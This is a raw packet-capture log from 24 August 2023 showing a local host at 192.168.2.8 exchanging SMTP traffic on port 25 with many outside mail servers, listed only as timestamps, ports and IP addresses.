Aug 24, 2023 19:03:20.287630081 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:20.287807941 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.302539110 CEST	25	49808	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:20.304867983 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.305428028 CEST	25	49816	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:20.305556059 CEST	49816	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.314770937 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:20.315093040 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:20.322804928 CEST	49818	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:20.329066038 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:20.329194069 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:20.329407930 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:20.331496954 CEST	25	49809	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:20.331532955 CEST	25	49809	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:20.331726074 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.337049007 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:20.337162971 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.398859978 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:20.400635958 CEST	25	49806	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:20.401226997 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:20.401500940 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:20.401911020 CEST	49819	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.470005989 CEST	49820	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:20.574647903 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:20.582096100 CEST	49810	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:20.597665071 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.660186052 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:20.661384106 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.691704035 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:20.764157057 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.769561052 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.785237074 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.831367016 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.863365889 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:20.910159111 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.985918999 CEST	49825	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:20.988296032 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:21.066766024 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:21.145406008 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.145565987 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.145697117 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.145828009 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.146050930 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.146142006 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.146697998 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.146697998 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.146747112 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.146821022 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.146821976 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.148529053 CEST	49826	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:21.191785097 CEST	49810	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:21.207214117 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:21.332099915 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:21.332128048 CEST	49818	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:21.332604885 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:21.332604885 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:21.394694090 CEST	49819	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:21.396152020 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.472754002 CEST	49820	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:21.496900082 CEST	49828	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:21.519607067 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:21.582107067 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.589869022 CEST	49829	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:21.644623041 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:21.645483017 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.645611048 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.645721912 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.645721912 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.645829916 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.646794081 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.646848917 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.646960020 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.647042036 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.647073030 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.647253990 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.647268057 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.647361040 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.647474051 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.647474051 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.647524118 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.647788048 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.647788048 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.647838116 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.648143053 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.648581982 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.648752928 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.673096895 CEST	49830	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:21.675793886 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:21.707174063 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.738933086 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.738933086 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.738933086 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.739000082 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.739000082 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.739027977 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.739069939 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.739104033 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.739145041 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.739185095 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.739242077 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:21.746681929 CEST	49831	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:21.769608021 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:21.801224947 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.801356077 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.801356077 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.801356077 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.801356077 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.801357031 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.801579952 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.801706076 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.801817894 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.801944971 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.802067995 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:21.816664934 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:21.832118988 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:21.847780943 CEST	49832	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:21.879724026 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.879796982 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.879796982 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.879796982 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.879837990 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.879859924 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.879890919 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.879930973 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.879983902 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.880018950 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.880039930 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:21.932812929 CEST	49833	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:21.957084894 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:21.957613945 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:21.988384008 CEST	49825	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.009033918 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:22.066668034 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.108032942 CEST	49834	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.113787889 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:22.160252094 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:22.160835028 CEST	49826	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.187829971 CEST	49835	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.237226963 CEST	49836	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:22.269779921 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:22.269783974 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:22.270622969 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:22.316656113 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:22.316929102 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:22.332252979 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:22.362575054 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.410396099 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.410423994 CEST	49810	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.425934076 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:22.427345037 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.427388906 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.427433014 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:22.427469015 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:22.427481890 CEST	49810	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.427493095 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.427515030 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:22.427537918 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.427687883 CEST	25	49808	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.427728891 CEST	25	49808	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.427752018 CEST	25	49818	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.427766085 CEST	25	49814	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.427779913 CEST	25	49809	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.427887917 CEST	25	49816	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.427903891 CEST	49818	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.427910089 CEST	25	49815	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.427931070 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.427951097 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.427970886 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.427992105 CEST	25	49819	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428013086 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:22.428035021 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.428042889 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.428056002 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.428067923 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:22.428082943 CEST	49819	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428087950 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:22.428109884 CEST	25	49809	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428122997 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.428144932 CEST	25	49814	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428147078 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.428154945 CEST	25	49816	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428157091 CEST	25	49808	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428162098 CEST	25	49815	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428175926 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.428195953 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.428198099 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:22.428196907 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:22.428209066 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:22.428230047 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:22.428247929 CEST	49814	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428252935 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:22.428263903 CEST	49816	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428272963 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.428272963 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428292036 CEST	49815	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428292990 CEST	25	49809	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428297043 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.428313971 CEST	25	49816	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428327084 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.428334951 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:22.428355932 CEST	25	49819	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428359985 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:22.428363085 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:22.428376913 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.428376913 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:22.428394079 CEST	49810	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.428397894 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.428420067 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:22.428438902 CEST	49816	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428457022 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:22.428458929 CEST	49819	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428489923 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.428493023 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.428529978 CEST	25	49814	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428548098 CEST	25	49815	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428559065 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:22.428565979 CEST	25	49808	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428570032 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428570032 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428586960 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:22.428589106 CEST	49814	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428608894 CEST	25	49809	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.428621054 CEST	49815	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428647041 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428659916 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:22.428699970 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.428981066 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:22.429342985 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:22.429614067 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.429852009 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.430205107 CEST	49814	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.430385113 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.432405949 CEST	49816	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.432472944 CEST	49815	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.432523012 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.432610989 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:22.472848892 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:22.504051924 CEST	49828	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.530811071 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:22.530967951 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:22.531130075 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:22.531155109 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.531172991 CEST	25	49822	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.531281948 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.542558908 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:22.542649984 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.543169975 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.543379068 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.544450045 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:22.544675112 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:22.546242952 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.551019907 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:22.551218033 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:22.552089930 CEST	25	49820	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.552210093 CEST	49820	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.555505991 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:22.555545092 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:22.555773973 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:22.560861111 CEST	49838	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.566714048 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.581391096 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:22.582145929 CEST	49829	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.598025084 CEST	25	49818	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.598933935 CEST	49818	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.600323915 CEST	25	49814	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.600354910 CEST	25	49814	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.600584984 CEST	49814	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.601691008 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:22.601794958 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:22.602341890 CEST	25	49809	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.602464914 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.604343891 CEST	25	49815	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.604423046 CEST	25	49815	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.604687929 CEST	49815	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.612281084 CEST	25	49808	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.612538099 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.614731073 CEST	25	49816	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.614763021 CEST	25	49816	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.615065098 CEST	49816	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.618071079 CEST	25	49828	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.618204117 CEST	49828	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.630116940 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:22.630382061 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:22.633096933 CEST	49839	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:22.640295029 CEST	49840	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.645853996 CEST	25	49822	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.646019936 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.657032967 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.657315969 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.658637047 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:22.658739090 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:22.660257101 CEST	49830	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.673743010 CEST	25	49819	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.673965931 CEST	49819	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.685692072 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:22.685785055 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:22.685842991 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:22.688822031 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:22.689063072 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:22.695660114 CEST	25	49820	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.695866108 CEST	49820	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.703915119 CEST	49841	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.716840029 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:22.732923985 CEST	25	49828	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.733186960 CEST	49828	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.734179020 CEST	25	49838	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.734280109 CEST	49838	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.736013889 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:22.753735065 CEST	25	49829	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.753890991 CEST	49829	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.754034042 CEST	49831	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.759774923 CEST	25	49822	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.759810925 CEST	25	49822	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.766818047 CEST	25	49818	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.767735958 CEST	25	49818	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.770792007 CEST	25	49814	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.776808023 CEST	25	49815	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.778402090 CEST	25	49840	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.778563023 CEST	49840	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.795418024 CEST	25	49808	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.795597076 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.797635078 CEST	25	49816	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.800925016 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.810868979 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.814321041 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.814373016 CEST	49818	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.814415932 CEST	49814	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.814429998 CEST	49815	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.814496994 CEST	49816	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.820775986 CEST	25	49839	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:22.820915937 CEST	49839	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:22.823947906 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:22.823992014 CEST	25	49821	98.136.96.91	192.168.2.8
